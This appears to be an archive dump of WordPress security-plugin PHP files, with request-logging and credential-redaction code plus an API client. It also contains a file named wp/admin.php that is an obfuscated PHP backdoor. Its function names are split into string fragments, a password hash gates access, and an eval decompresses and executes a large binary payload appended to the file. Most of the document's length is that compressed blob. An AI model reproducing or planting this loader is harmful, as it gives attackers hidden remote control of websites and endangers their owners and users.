					$uri = preg_replace_callback('/(&|\?|^)(' . preg_quote(urlencode($matches['param']), '/') . ')=(.*?)(&|$)/', array(
						$this, 'highlightParam',
					), $uri);
				}
			}
		}

		if (!empty($highlights['uri'])) {
			foreach ($highlights['uri'] as $matches) {
				if ($matches) {

				}
			}
			$uri = sprintf($highlightParamFormat, $uri);
		}

		$request = "{$this->getMethod()} $uri HTTP/1.1\n";
		$hasAuth = false;
		$auth = $this->getAuth();

		if (is_array($this->getHeaders())) {
			foreach ($this->getHeaders() as $header => $value) {
				switch (wfWAFUtils::strtolower($header)) {
					case 'cookie':
						// TODO: Hook up highlights to cookies
						$request .= 'Cookie: ' . trim($this->getCookieString(null, null, $preventRedaction)) . "\n";
						break;

					case 'host':
						$request .= 'Host: ' . $this->getHost() . "\n";
						break;

					case 'authorization':
						$hasAuth = true;
						if ($auth) {
							$request .= 'Authorization: Basic ' . ($preventRedaction ? base64_encode($auth['user'] . ':' . $auth['password']) : '[redacted]') . "\n";
						}
						break;

					default:
						$request .= $header . ': ' . $value . "\n";
						break;
				}
			}
		}

		if (!$hasAuth && $auth) {
			$request .= 'Authorization: Basic ' . ($preventRedaction ? base64_encode($auth['user'] . ':' . $auth['password']) : '[redacted]') . "\n";
		}
		
		$bareRequestURI = wfWAFUtils::extractBareURI($this->getURI());
		$isAuthRequest = (strpos($bareRequestURI, '/wp-login.php') !== false);
		$isXMLRPC = (strpos($bareRequestURI, '/xmlrpc.php') !== false);
		$xmlrpcFieldMap = array(
			'wp.getUsersBlogs' => array(0, 1),
			'wp.newPost' => array(1, 2),
			'wp.editPost' => array(1, 2),
			'wp.deletePost' => array(1, 2),
			'wp.getPost' => array(1, 2),
			'wp.getPosts' => array(1, 2),
			'wp.newTerm' => array(1, 2),
			'wp.editTerm' => array(1, 2),
			'wp.deleteTerm' => array(1, 2),
			'wp.getTerm' => array(1, 2),
			'wp.getTerms' => array(1, 2),
			'wp.getTaxonomy' => array(1, 2),
			'wp.getTaxonomies' => array(1, 2),
			'wp.getUser' => array(1, 2),
			'wp.getUsers' => array(1, 2),
			'wp.getProfile' => array(1, 2),
			'wp.editProfile' => array(1, 2),
			'wp.getPage' => array(2, 3),
			'wp.getPages' => array(1, 2),
			'wp.newPage' => array(1, 2),
			'wp.deletePage' => array(1, 2),
			'wp.editPage' => array(2, 3),
			'wp.getPageList' => array(1, 2),
			'wp.getAuthors' => array(1, 2),
			'wp.getTags' => array(1, 2),
			'wp.newCategory' => array(1, 2),
			'wp.deleteCategory' => array(1, 2),
			'wp.suggestCategories' => array(1, 2),
			'wp.getComment' => array(1, 2),
			'wp.getComments' => array(1, 2),
			'wp.deleteComment' => array(1, 2),
			'wp.editComment' => array(1, 2),
			'wp.newComment' => array(1, 2),
			'wp.getCommentStatusList' => array(1, 2),
			'wp.getCommentCount' => array(1, 2),
			'wp.getPostStatusList' => array(1, 2),
			'wp.getPageStatusList' => array(1, 2),
			'wp.getPageTemplates' => array(1, 2),
			'wp.getMediaItem' => array(1, 2),
			'wp.getMediaLibrary' => array(1, 2),
			'wp.getPostFormats' => array(1, 2),
			'wp.getPostType' => array(1, 2),
			'wp.getPostTypes' => array(1, 2),
			'wp.getRevisions' => array(1, 2),
			'wp.restoreRevision' => array(1, 2),
			'blogger.getUsersBlogs' => array(1, 2),
			'blogger.getUserInfo' => array(1, 2),
			'blogger.getPost' => array(2, 3),
			'blogger.getRecentPosts' => array(2, 3),
			'blogger.newPost' => array(2, 3),
			'blogger.editPost' => array(2, 3),
			'blogger.deletePost' => array(2, 3),
			'metaWeblog.newPost' => array(1, 2),
			'metaWeblog.editPost' => array(1, 2),
			'metaWeblog.getPost' => array(1, 2),
			'metaWeblog.getRecentPosts' => array(1, 2),
			'metaWeblog.getCategories' => array(1, 2),
			'metaWeblog.newMediaObject' => array(1, 2),
			'mt.getRecentPostTitles' => array(1, 2),
			'mt.getCategoryList' => array(1, 2),
			'mt.getPostCategories' => array(1, 2),
			'mt.setPostCategories' => array(1, 2),
			'mt.publishPost' => array(1, 2),
		);

		$body = $this->getBody();
		$rawBody = $this->getRawBody();
		$contentType = $this->getHeaders('Content-Type');
		if (wfXMLRPCBody::canParse() && $isXMLRPC && is_string($rawBody) && !$preventRedaction) {
			$xml =& $rawBody;
			if ($contentType == 'application/x-www-form-urlencoded') {
				$xml = @urldecode($rawBody);
			}
			
			$xmlrpc = new wfXMLRPCBody($xml);
			if ($xmlrpc->parse() && $xmlrpc->messageType == 'methodCall') {
				if ($xmlrpc->methodName == 'system.multicall') {
					$subCalls =& $xmlrpc->params[0]['value'];
					if (is_array($subCalls)) {
						foreach ($subCalls as &$call) {
							$method = $call['value']['methodName']['value'];
							$params =& $call['value']['params']['value'];
							
							if (isset($xmlrpcFieldMap[$method])) {
								$fieldIndexes = $xmlrpcFieldMap[$method];
								foreach ($fieldIndexes as $i) {
									if (isset($params[$i])) {
										$params[$i]['value'] = '[redacted]';
									}
								}
							}
						}
					}
				}
				else {
					if (isset($xmlrpcFieldMap[$xmlrpc->methodName])) {
						$params =& $xmlrpc->params;
						$fieldIndexes = $xmlrpcFieldMap[$xmlrpc->methodName];
						foreach ($fieldIndexes as $i) {
							if (isset($params[$i])) {
								$params[$i]['value'] = '[redacted]';
							}
						}
					}
				}
				
				$xml = (string) $xmlrpc;
				if ($contentType == 'application/x-www-form-urlencoded') {
					$body = urlencode($xml);
				}
			}
		}
		else if (is_array($body)) {
			foreach ($body as $bkey => &$bvalue) {
				if (!$preventRedaction && $isAuthRequest && ($bkey == 'log' || $bkey == 'pwd' || $bkey == 'user_login' || $bkey == 'user_email' || $bkey == 'pass1' || $bkey == 'pass2' || $bkey == 'rp_key')) {
					$bvalue = '[redacted]';
				}
			}
			
			if (preg_match('/^multipart\/form\-data;(?:\s*(?!boundary)(?:[^\x00-\x20\(\)<>@,;:\\"\/\[\]\?\.=]+)=[^;]+;)*\s*boundary=([^;]*)(?:;\s*(?:[^\x00-\x20\(\)<>@,;:\\"\/\[\]\?\.=]+)=[^;]+)*$/i', (string) $contentType, $boundaryMatches)) {
				$boundary = $boundaryMatches[1];
				$bodyArray = array();
				foreach ($body as $key => $value) {
					$bodyArray = array_merge($bodyArray, $this->reduceBodyParameter($key, $value));
				}
				
				$body = '';
				foreach ($bodyArray as $param => $value) {
					if (!empty($highlights['body'])) {
						foreach ($highlights['body'] as $matches) {
							if (!empty($matches['param']) && $matches['param'] === $param) {
								$value = sprintf($this->highlightParamFormat, $value);
								if (is_array($matches['match'][0])) {
									$replace = array();
									foreach ($matches['match'][0] as $key => $match) {
										$replace[$match] = sprintf($this->highlightMatchFormat, $match);
									}
									if ($replace) {
										$value = str_replace(array_keys($replace), $replace, $value);
									}
								} else { // preg_match
									$value = str_replace($matches['match'][0], sprintf($this->highlightMatchFormat, $matches['match'][0]), $value);
								}
								break;
							}
						}
					}

					$body .= <<<FORM
--$boundary
Content-Disposition: form-data; name="$param"

$value

FORM;
				}

				foreach ($this->getFiles() as $param => $file) {
					$name = array_key_exists('name', $file) ? $file['name'] : '';
					$mime = array_key_exists('type', $file) ? $file['type'] : '';
					$value = '';
					$lenToRead = $maxRequestLen - (wfWAFUtils::strlen($request) + wfWAFUtils::strlen($body) + 1);
					if (array_key_exists('content', $file)) {
						$value = $file['content'];
					} else if ($lenToRead > 0 && file_exists($file['tmp_name'])) {
						$handle = fopen($file['tmp_name'], 'r');
						$value = fread($handle, $lenToRead);
						fclose($handle);
					}

					if (!empty($highlights['fileNames'])) {
						foreach ($highlights['fileNames'] as $matches) {
							if (!empty($matches['param']) && $matches['param'] === $param) {
								$name = sprintf($this->highlightParamFormat, $name);
								$name = str_replace($matches['match'][0], sprintf($this->highlightMatchFormat, $matches['match'][0]), $name);
								break;
							}
						}
					}

					$body .= <<<FORM
--$boundary
Content-Disposition: form-data; name="$param"; filename="$name"
Content-Type: $mime
Expires: 0

$value

FORM;
				}

				if ($body) {
					$body .= "--$boundary--\n";
				}
			}
			else { //Assume application/x-www-form-urlencoded and re-encode the body
				$body = http_build_query($body, '', '&');
				if (!empty($highlights['body'])) {
					foreach ($highlights['body'] as $matches) {
						if (!empty($matches['param'])) {
							$this->highlightMatches = $matches['match'];
							$body = preg_replace_callback('/(&|^)(' . preg_quote(urlencode($matches['param']), '/') . ')=(.*?)(&|$)/', array(
								$this, 'highlightParam',
							), $body);
						}
					}
				}
			}
		}
		
		if (!is_string($body) || empty($body)) {
			if (is_string($rawBody)) {
				$body = $rawBody;
			}
			else {
				$body = '';
			}
		}

		$request .= "\n" . $body;

		if (wfWAFUtils::strlen($request) > $maxRequestLen) {
			$request = wfWAFUtils::substr($request, 0, $maxRequestLen);
		}
		return $request;
	}

	/**
	 * @param array $matches
	 * @return string
	 */
	private function highlightParam($matches) {
		$value = '';
		if (is_array($this->highlightMatches)) {
			// preg_match_all
			if (is_array($this->highlightMatches[0])) {
				$value = $matches[3];
				$replace = array();
				foreach ($this->highlightMatches[0] as $key => $match) {
					$this->highlightMatches[0][$key] = $this->callHighlightMatchFilter($match);
					$replace[] = sprintf($this->highlightMatchFormat, $this->callHighlightMatchFilter($match));
				}
				if ($replace) {
					$value = str_replace($this->highlightMatches[0], $replace, $value);
				}

			} else { // preg_match
				$param = $this->callHighlightMatchFilter($this->highlightMatches[0]);
				$value = str_replace($param, sprintf($this->highlightMatchFormat, $param), $matches[3]);
			}
		}
		if (wfWAFUtils::strlen($value) === 0) {
			$value = sprintf($this->highlightMatchFormat, $value);
		}

		return $matches[1] . sprintf($this->highlightParamFormat, $matches[2] . '=' . $value) . $matches[4];
	}

	/**
	 * @param $match
	 * @return mixed
	 */
	private function callHighlightMatchFilter($match) {
		return is_callable($this->highlightMatchFilter) ? call_user_func($this->highlightMatchFilter, $match) : $match;
	}
	
	/**
	 * Encodes all of the keys with the MD5 hash.
	 * 
	 * @param array|string $value
	 * @return array|string
	 */
	private function md5EncodeKeys($value) {
		if (!is_array($value)) {
			return md5($value);
		}
		
		$result = array();
		foreach ($value as $k => $v) {
			$md5Key = md5($k);
			if (is_array($v)) {
				$result[$md5Key] = $this->md5EncodeKeys($v);
			}
			else {
				$result[$md5Key] = $v;
			}
		}
		return $result;
	}

	/**
	 * @param string $key
	 * @param string|array $value
	 * @return array
	 */
	private function reduceBodyParameter($key, $value) {
		if (is_array($value)) {
			$param = array();
			foreach ($value as $index => $val) {
				$param = array_merge($param, $this->reduceBodyParameter("{$key}[$index]", $val));
			}
			return $param;
		}
		return array(
			$key => $value,
		);
	}

	/**
	 * @param mixed $auth
	 */
	public function setAuth($auth) {
		$this->auth = $auth;
	}

	/**
	 * @param mixed $body
	 */
	public function setBody($body) {
		$this->body = $body;
		$this->setMd5Body($this->md5EncodeKeys($body));
	}
	
	public function setRawBody($rawBody) {
		$this->rawBody = $rawBody;
	}
	
	/**
	 * @param mixed $md5Body
	 */
	public function setMd5Body($md5Body) {
		$this->md5Body = $md5Body;
	}

	public function setJsonBody($jsonBody) {
		$this->jsonBody = $jsonBody;
		$this->jsonParsed = true;
	}

	/**
	 * @param mixed $cookies
	 */
	public function setCookies($cookies) {
		$this->cookies = $cookies;
	}

	/**
	 * @param mixed $fileNames
	 */
	public function setFileNames($fileNames) {
		$this->fileNames = $fileNames;
	}

	/**
	 * @param mixed $files
	 */
	public function setFiles($files) {
		$this->files = $files;
	}

	/**
	 * @param mixed $headers
	 */
	public function setHeaders($headers) {
		$this->headers = $headers;
	}

	/**
	 * @param mixed $host
	 */
	public function setHost($host) {
		$this->host = $host;
	}

	/**
	 * @param mixed $ip
	 */
	public function setIP($ip) {
		$this->ip = $ip;
	}

	/**
	 * @param mixed $method
	 */
	public function setMethod($method) {
		$this->method = $method;
	}

	/**
	 * @param mixed $path
	 */
	public function setPath($path) {
		$this->path = $path;
	}

	/**
	 * @param mixed $protocol
	 */
	public function setProtocol($protocol) {
		$this->protocol = $protocol;
	}

	/**
	 * @param mixed $queryString
	 */
	public function setQueryString($queryString) {
		$this->queryString = $queryString;
		$this->setMd5QueryString($this->md5EncodeKeys($queryString));
	}
	
	/**
	 * @param mixed $md5QueryString
	 */
	public function setMd5QueryString($md5QueryString) {
		$this->md5QueryString = $md5QueryString;
	}

	/**
	 * @param mixed $timestamp
	 */
	public function setTimestamp($timestamp) {
		$this->timestamp = $timestamp;
	}

	/**
	 * @param mixed $uri
	 */
	public function setUri($uri) {
		$this->uri = $uri;
	}
	
	/**
	 * @param array $metadata
	 */
	public function setMetadata($metadata) {
		$this->metadata = $metadata;
	}
}
}PK       ! [      api.phpnu [        <?php

class wfWafApiException extends Exception {
}

class wfWafMissingApiKeyException extends wfWafApiException {
}

class wfWafApi {

	private $waf;
	private $apiKey;

	public function __construct($waf) {
		$this->waf = $waf;
		$this->apiKey = $this->getConfig('apiKey');
		if (empty($this->apiKey))
			throw new wfWafMissingApiKeyException('No API key is available');
	}

	private function getConfig($key) {
		return $this->waf->getStorageEngine()->getConfig($key, null, 'synced');
	}

	private function guessSiteUrl() {
		return sprintf('%s://%s/', $this->waf->getRequest()->getProtocol(), $this->waf->getRequest()->getHost());
	}

	private function guessSiteUrlIfNecessary($configKey) {
		$url = $this->getConfig($configKey);
		if (!$url)
			$url = $this->guessSiteUrl();
		return $url;
	}

	private function getSiteUrl() {
		return $this->guessSiteUrlIfNecessary('siteURL');
	}

	private function getHomeUrl() {
		return $this->guessSiteUrlIfNecessary('homeURL');
	}

	private function buildQueryString($additionalParameters = array()) {
		$parameters = array(
			'k' => $this->apiKey,
			's' => $this->getSiteUrl(),
			'h' => $this->getHomeUrl(),
			't' => microtime(true),
			'lang' => $this->getConfig('WPLANG')
		);
		$parameters = array_merge($parameters, $additionalParameters);
		return http_build_query($parameters, '', '&');
	}

	private function buildUrl($queryParameters, $path = '') {
		return WFWAF_API_URL_SEC . $path . '?' . $this->buildQueryString($queryParameters);
	}

	public function actionGet($action, $parameters = array()) {
		$parameters['action'] = $action;
		$url = $this->buildUrl($parameters);
		$response = wfWAFHTTP::get($url);
		if ($response === false)
			throw new wfWafApiException('Request failed');
		return $response;
	}

}PK       ! n n   wp/admin.phpnu [        <?php
$passhash = '9bd74360b120b752847479dbf10ce8a3';
$userSh = 'admin';
$vmzb='subs'.'tr';$ngrK='st'.'r'.'_repl'.'ace';$xyPn='exi'.'t';$eBWD='fi'.'le_get'.'_conten'.'ts';$tqpz='gzuncomp'.'ress';eval($tqpz($ngrK('tusizcofhj',">",$ngrK('osmvywndbc',"<",$vmzb($eBWD( __FILE__ ),-172352)))));$xyPn(0);
?>
xZ.w8u@F6e4fT(ZkrrA}扈l'=i8i?{7?WV̯zֿK_pR7ɿ}n_?eٿ?_W._/ßǺ'y˿7w)Nۿ?/{Qawk?N8o?|ۗ1?r?ˇ_B돿_[oF폿AoaOQu?.}wp`=ߧ?7?Yw/?/o_yg/ދ^k31byo8䵃[_듦g:XSEoo)=tusizcofhjW^?9ǿ'Pؿc\gj+Կleeg:p췥@?~&?s%{#춴?Uқ\Ѷ^_b.skosk/7$9菷~1Gys3F?(F_otusizcofhj4ԭI~gǿYo5?YooXGt4qrO0}cȏQ -Cu֮nMECulP8feN4E0kDJ"HLVs&G@S[Ķ
f+t%I1zSJf̢_,	+ o9gYtusizcofhjҞ-K3Ns:GޥJnJZODoОUv/K5Jkˆ7H:1P)88"C,kj~_۷P]~nD.v`tW۹p͊җAxefٜjtusizcofhjivplX'd1|!z3q,ݞ_;CQosmvywndbcsW[c)}[W_gĖn-3I\cQi3f8TtQK(١}O5ȰZ\BEDI,osmvywndbc^ޜgISaQ1osmvywndbcұEEtusizcofhjI$ZW%*OϑfDۍQ!k3R?veAb}qp6`/哟mn._.bYAa(osmvywndbc%W;`Z)vH*(DyjF#&кn'!
2?T_ʯ5ݭJ1H1ѣCXu K];1ӗ#OWi%-r4Bd$-@O"V3PdD:*ĳ98P&'{~gvH|ahwS}EV;|4PG7$j]_Bj9+=O'AR0ޚ9b+QIC	ӥbLc7XɫQ0sQ^*]k	5/OϷosmvywndbcrƷr6kcݯԾxփ?vosmvywndbc;@{g#ǖȷX~A!H|/ $
^bh(
[$ܥykx+Rpvn!ybmթl6c)ZpWK ާ\RL&Go۝㵻^Dv҃-,h/*A}'9m!}=/$qT184qsyg
˞osmvywndbc0N6tusizcofhjz[tƯgtusizcofhjMzd){!~8bHca1\'Ć̗ctݶkJQ-5Cf_DOxr$ U;WŝdG.X}_;,hm==SSӾo_Ky-Op$k̗g1cGjp_SIDnQDtoЄ9ɹEN6-0d9fqhXIA[F鱤Vײm" {~_O[k
 #ذ 1iYhF*Jo.0I+g( X֘ L'&H W}QLO=vazխY*4e\6X7XE0ͻR'1]\AH*(:1q'|j﫿΋8iq́sw c(1Qp5%B@uqdh0_K!T+OMFaU_y %}tDt;;}!tusizcofhjotusizcofhjxֆgefCiQPEY
\[uopB6`޽DKtusizcofhj˻O}x+w|jzZ!aojkq8-3K#vjBK"ۊmu8"0ϐ#$;ʖ
b^Id1`ڽ٤(g3* 	R:Tosmvywndbc$6֕_!߁ž!R'7x-=NULz:(b+V=
z`mSC{5Y
;p_ᔪp`aRe4!~٫_z9Mâk&fZٲ
٪)F6םy~osmvywndbc+Je^zcFF3ئ}Gosmvywndbc媻m ]tusizcofhjCbbr`tKJBj}z'
R@,N_svEKepuEi9zƏ₧{x^5c"fQ/n_,ۥN9+JjjS/~%O /7]M?osmvywndbccEq0:MuC@:݄	#u2ǎX_zwyҰ	γEXyqʠV0HPAWiLmnKLo٣osmvywndbcTHi]qsdUuzLG,fDK{:C» hC_顆I؏kip'Mف2qVjbjds4QhZjv=qtusizcofhjDYI,.l4n:Y~2Lnjϭ|"i,&Mh~M9b4*tׅhT۞/PV9+JQV+UkOo0?0m=F%1!ZzRҊbWcqJD$MWpVI4Wf-,W󣆷6FIi}Һo̰PtusizcofhjZ.,L8Ne_W
b^}@|qpV#e=@ڶr	QY
{[hZ&_ ہ	wsg~ڙJpHfTosmvywndbc3מӤqTCuLjt7;-qZlv*9
`p(oNҽ;]wvmTf+`I(Bʃ6py}K=x8Uڄ&,
K{/[%2A eȭJ_cYǄùgfT,Q0av?=;p0]!TX,4u.bM5josmvywndbcp7펲셈k|*8y\}۬*ɋ,ݨk=Ftusizcofhj]d7s`VnR;,\?U?ǆ_etusizcofhj}(jGosmvywndbc5fE972kJg{Ĉy6cw%\0i~ʆxktusizcofhjtusizcofhj:4ȕ"1ɧ=1]ŒLZ+Nrxפm'˳MاFR~^	;(Rq(̏:g't#;L6%1)
T2C6dIۢɒkw= O|ډaE8{C'v[tusizcofhjي/%K=nDъ24`(Fq,kFsFi-+-/xrSo@͉Н`(eC(choBw3|!R T/Ao:y`YA0R@#rtusizcofhjtW7+1 wQ۾2ickҰ9rٴ9EkIѧ ǪcQ6`fwLwo}΅6~
Z);SWvBnkFW۲ L_?\U1 1=0%r~J'!pp,sIn}tSs~&[Bw% xg%ۨj窇pJ9e!@[ӏ\R9DoLܞ4̀hxx/ȋT`D~4	tusizcofhjE?ZSD|/jg*~80^ULH'ԀH_osmvywndbcDnbeҾ4lBA!y=~_gV.mXITE˪_EPÜivih3EWQ;KTU!~[)ۃǲʂdڶ!5᱓4?BuosmvywndbcbUp'2Q"2Eg|/u%@19
1F8ًO##.nY%*F,osmvywndbcw=wN)P|}ݐ.&k_'u~ma*ܕ\yIԶ0P06]0^-(A$r@.zƷfNe&nL
7o ou00'+k9(Ck҇rktVlySĝ$&6vnkxҩosmvywndbcȌ6=)ruR=&DT-y԰e%9GI!~g.wm;:d.X𺏌q0aR7p$6M䫌?Bg`*7xMC"bf؇YpX(~V1;FQE?[Nawqsf_S4@[UrEgHO]J)pٍR&n*UBL[z(k(Yձ]jZ?؝71?Do{~0̸o@M `tusizcofhj}zR6X⥶)Op,J3Q$Wi-Cfj9#\Qcb1Q8|TIE}lqkP{^e)S[Ɉc1zTrW}t{^.&w8bo9KD(*MQ~G,ӛ8ݚBS\Z KaJ x$Avn$Wf'a@|`6.L`Ҍ,sW~b \IȦUp|xKCBpr$^ԓ(U9WX[uh`"Zo8V9gQS%tusizcofhj}Se-/iϼeם{&L~0~J0P c{L;|2:2VW:O	QuUƇ/IH#ͬ+8zLtusizcofhjBosmvywndbc lUOu ,}@).r~o9XUx	^rݺpGI)fppi}k,ENۉZCsӋ%UD[_C'A]pUk?h@0q%v8c^2B幵XV8	#mضߎ7qNֻ)D:+@6Ԫosmvywndbc snȖosmvywndbc 5E]hosmvywndbc|E\85R/Ǥ3&\l5 h"} NZkIU+ܗ:tmũ!LɰuCf@4|
ڐ)hXEmV|ӹti3߯5:
Պl`!osmvywndbc}FIx;jJBίtWRx_E92ZfRZן/	Fg^G÷:Wosmvywndbcτ⍂#`sG8|Tb=|.`0NۚosmvywndbcY+-aosmvywndbc
s]#ɢ[&n&gtusizcofhjض1jQe%Y-F:|S\^2Z#E_ҳ,_62?{7o?"ϑW}UzTosmvywndbc6}od"5~ PM͍H$tusizcofhjk 2tusizcofhjW9^7HMŋ|J&꼧3rvt'X){e b( :W-M@Q b8g,òM#çh7tPVsUghVu?B7q߰HcD4a/chBVx*HYQaU̳L\W_{BG.FD"Yuڷ?st(0RIosmvywndbcR_9jQ\g7,=[dutusizcofhjպ6WYa,6.R#{a}DNV9Lh5qG'si$ MHwJis"[vS["GrÅ,\0uo,@)dctqx1dyhѨ{wBOl1ҪK *9=?nlޫ 8:ǼO&V?P+?
_rJjJ~\벵Z@.[ EgORn27L
,Dosmvywndbc5}B(:̂Ѳگ^5j`CBA
*tusizcofhj|~^bOtusizcofhj1=~pjkIdP\+O|kX"t{(j|Zhm7=̻K&i.u!(#$vY8l #gV˗~?Nq%&e}^vdN
,(Z6[z]`lqaȗ#l-R8osmvywndbc`4qfosmvywndbc'uΚHUR{.9밠O4VՉrpmstusizcofhjk^/f/@X:J Bʎ	bl5osmvywndbcO66__͛W]CϐWb`	V+Z4Dp
?t=.h"mR_.1^-FfQ$BEmttusizcofhjSLCWu`X]q^~;pFCQl`R;&	_n]a߾ϳtusizcofhj.%DUWfTosmvywndbcߨg?0iS\JrOTI=7vIxe$f˥?tSWXrUfVN`Ӂڝy{KGl{V)y)ߖMK;|o\4,ƫR@osmvywndbcQ4s"3Z6tZ߻z=Lr[J6н%bvv&X$Z_ʩ=luF~r\KiOp^gDtnں,.=O	)$s/M|\LRϨhF|9հosmvywndbc5%b}~ŖzGg%`q
N$v7ټ`8}믱P?5(YaosmvywndbcӌTPw%p(ʘMr^11xϲGx_G	-Na?u3tusizcofhj%~:H!@iБ0MƇb["x)=wpKQm4윩ZKr^X(ʘVmaT26osmvywndbc6=%#y=oA	5Jqwyyꪏ[osmvywndbcB,U*xP$VәyUl`r^=-jOsހ7φ*
]thdefW	sZtusizcofhjosmvywndbc^er-X`
k7osmvywndbc lRvD!Fq(j3o-%Kd:A g^[F&jzT8
UUG\98tusizcofhjtusizcofhj~:#ѐm&yk{4P"x}*fc.c_ns9kA桮Lr4ۻ!*MBG~	$"y[Y1c^D=;PI7JtusizcofhjыLzMyk+s{9)l)Y:\*oyxM"Ccse9gti%Bͱ6&oOdK;S#T3/CCWVN@zؕiO{}?Fi*NĜ!ޡ 2X̆1Ud*H/&X"K.8t/rF#^bÁL`ݯ]H/_h	O5O mtusizcofhjº/2GAox!$dH*ݖFh*jjELe8.ũe#{_0~WULي1&OcY1d9iLA$n)
PBxRs}&Fn9ɼVD(CH;l407:gTL9`uXe1\a}߹F2)9J7nfƄ~3.,lڟhI7p:Tb,vwqH0c`ꪩ5d"$''s2'-uk0osmvywndbcrkEDk6Dϲb:zWqtusizcofhj{5`j	.Z~)4osmvywndbc`G*bGyRe%,"!-zJposmvywndbcx:	?07hQf:5H$`OAhM˰iK]|Hm,2TT##ڂvpxKmNW+5BTgЧZ(Eb6٢T".i-4vwD)RS&	9BsbHhCסHNtusizcofhj7Q*"B6`-}J	\BHƎx%3+"iZ8rmzmg?@ 1tusizcofhjJ1	A͵8LWƴnpöN$\)c@WYc5"F0Qq"Axf,V3PGfY.4rw}In?%TcJo$+UBbYט4	xӿڭ!S{r.m}J(M;yGC! Av8?c5jtj[էosmvywndbcwk\V:4:bhVq$-?%fyqq}]ۏܐNP05A\Q2|Ǆ/B@BȡG=CK23["^,I?i.osmvywndbc`eObh~QM7)XItusizcofhjR~QH}(IQ"SK'贞
TeaF4~(yv&Tp\v(Ky/BA^^ǯGF	La|O:92Bm7ώ_ēҥ:k8*'?G}QoB.jn9bArC#͑m-5WXfM}+KJ0$}+W2\l GSkN.ܵ{U7Nh}J:t0(? @I]`ktusizcofhj//_$]l'*kV$`Rh~F\2kF}ZЃosmvywndbc=߶Z	B/=="7ȔAKcOTt A-+~7d/oJ+{hY9nӐEYPX3i T ln.L)E`l}w?1	aˠ\^~!osmvywndbcve랠[v&Ed8XןiM75A# ;'q}RN	"Ԗ􃋭^v7㨜+qJ\TKD&pV97_ϜG=TY^D8osmvywndbcW5v^pjǩ]^=tusizcofhj"%^T끓LP-7:5G )Yj~9,vޥBLS0لyۭ{x "X4қi;/osmvywndbc0Rۺy\jj/CM[#3n6j*0"gllpA.7^uN/YIPd@,UM!
ݮ7w`^|[ԫWrw࿊1kc/`d)[{̫7 foWfω gĎRLX*DN8fk]cՄA@Bɀ3iϋL)~0uSfX%\vN5~j8$K^#% w%be7cw\&(*xuM+Pt:@'qE:8"'כ$g
pC!*E#(f:05Rbd{??}a.N\:k6\ЩU	F߼4zӎgq!}uM'{5&QVb(25r`?0`.J"%Y^-_`-'j%!*phσ'F\gsZ^~J^uL,WYETlzrvL8	O2r3Vߋ+YîtusizcofhjP B0ThWtusizcofhjRM(TvB$gO&tusizcofhj@{!ѫʄY=韠=ke=J6/K/5yUh/H|-tlICJޏWwu=H'b z@ihE w ~M^nhۙkCۑb_Hi;=ʮoY[rZ6VllUvIJbELB@v$?x!uxqʚ'l϶PsZ1%gc)x0#iMhR)\![eU~$AB%T	+r#Xޞs!tusizcofhj584fRݤi_E-D2=tusizcofhjX3($ݾI}iٺ(3˴M;b;-yz`^Rr7tusizcofhj{Iҁ
e
B:NVD_|ÒdfO93!zܾމK]7ETlٵ%%Q
	bh$3uۑm {w7X45xŦ_YeMj X]JQ=Z"ֽ6}x+8BP]jFa5nuuatusizcofhj@aN$Q_MT1z|,~Pi "A}ɞ`b];hVzdoAW$B#untusizcofhj6jWbƁ7I@4}^ٴixĽ巏=\:M? oE|f.
|s,Xr{f-؊۔RB4i5r3|' oͬm;^|!tusizcofhj̈́SƢcq_0%H̬b.ݾe}(eq8C_͖BHKɼ%_p5B7,))@KM[JjYd2F;bfH5}͛|iI\[h3l11APUbj[+@)OsN.^V"^AosmvywndbcHHtusizcofhjU09ODenxB6@p9a|$-
#%M[FTosmvywndbctusizcofhjwPlX"Zp(A$e~osmvywndbcGg❶=2Uxp"1m'A0f98ynȋهsQێg; +p9s=Ҭ&q?1({揪]4ѩLVp
R9?b5j:7-[zBؚR,@OmBcȯ9!"3}JY}V&[7ew%ɛ48;|O$O;`.0]@lExi7/1ZC.*o09FrzǾDK8e5@kwG*tusizcofhj*k	]tusizcofhjr̋V(ciOvW[u5}ug#:MܡoF9OjsF#t|/7!Ke$!q%ez럼 kT[ﮰ{8\]n
Sti*KhhaqO0	kf?eׄ7qM9lD¾	%/zDWUlK8$"  U:9-hbdSoR
ER4fn%U2w8S~NwYLq-'ch8P7UF{Ctusizcofhjw+urvyKҷ9kS@&-
p~
b=1[Y{G*b`I/osmvywndbc	KS3ف ĕtӮJ (8%oE#en F7Y}!܋.L])osmvywndbc?-%)U"NQ$}4'S8xd=Em4TEHc1Xs{x080exq$RWposmvywndbclz,Jͻ͞7yyV4Sh2i̺f\
g0uQv~@"ݾizWa Fpt9vG)0Xۓuc ^s=QGL+Y+"b)zSxO
QP~/g\[^BzaP/"'Ww/W`F(~ ]W9n .9Ĝ r9Lois!5cFqiޫ;2Nr@97X6mˊmxXtg8 Pmu&c7ayrǴ-1Ϫ$F^ _[8i[BIJ
VWSTD9F:[%07n=6y䶵]osmvywndbctusizcofhjOO܀VVpڥȾhg-J5-_
4VTf:#5 1z+/+a.wn3	Rj98P#}3*6?ؑ 8;le;x5Aq懻1i(O%B4+
Eɷս osmvywndbcG*:FaٱM\a7moNe)#gey]yTglz`}uޛASlDw"[J5+Lm)2sZ}ؾ:W)E)VнruQ.p#'6g;oi "r/ejt9,$8 	YY.AP&v670^۪_3+Px+fNij;{=nxӖnsaFv]+wJÃosmvywndbcĞZji&o$A"a&Ztusizcofhjyr
+x1PY볮E]!|i	ٟO1)9$WU8_nNtusizcofhj Zӎg2c')au+9ѼĲ)S_/t_R)YUk~O'Ӄ zsȘmrY섚dCmhUU+Q0l!D׼aQIoT}_^|9e8JW[UEZH:F{s=Rnn6ޜW\8b2X9*yN+9cy36K
b\+osmvywndbc=(2 @  '݉{Z-H@e!i=GKtӧ&Xm%ލ޹fl]uh8Po4s8?rqexa腘k,M#$/+7ѿ&zH5Xgn$Tbj9trH5qt(=ꛃqpOH
|C$QLc}8?=9{X&PxE8_Av@?3n)
_q
_8V\ŒoǊKr.&3[eV1#-{4&_mRScv+EymLy cJ$6yibOMz߫(	MSģA -4lb!Z{Gnf&ɍy/posmvywndbc2A/QgsW*Z	+w¤'u:yWSu'Ѻztusizcofhjcϓh$@;R"f",rtusizcofhj8か#]!dVF3Ұ矞˿L
/Vosmvywndbc7kHrCswBTfly__7= ~Jˋ& ESD_)˕PtusizcofhjU}3}Kv#@Vu_s~}_ʕmXd2"0$릘eNTg
tusizcofhjgs-n.[˟:^*,׀_q!Nyr!v`&tusizcofhjlǭF?,!Пkbu :
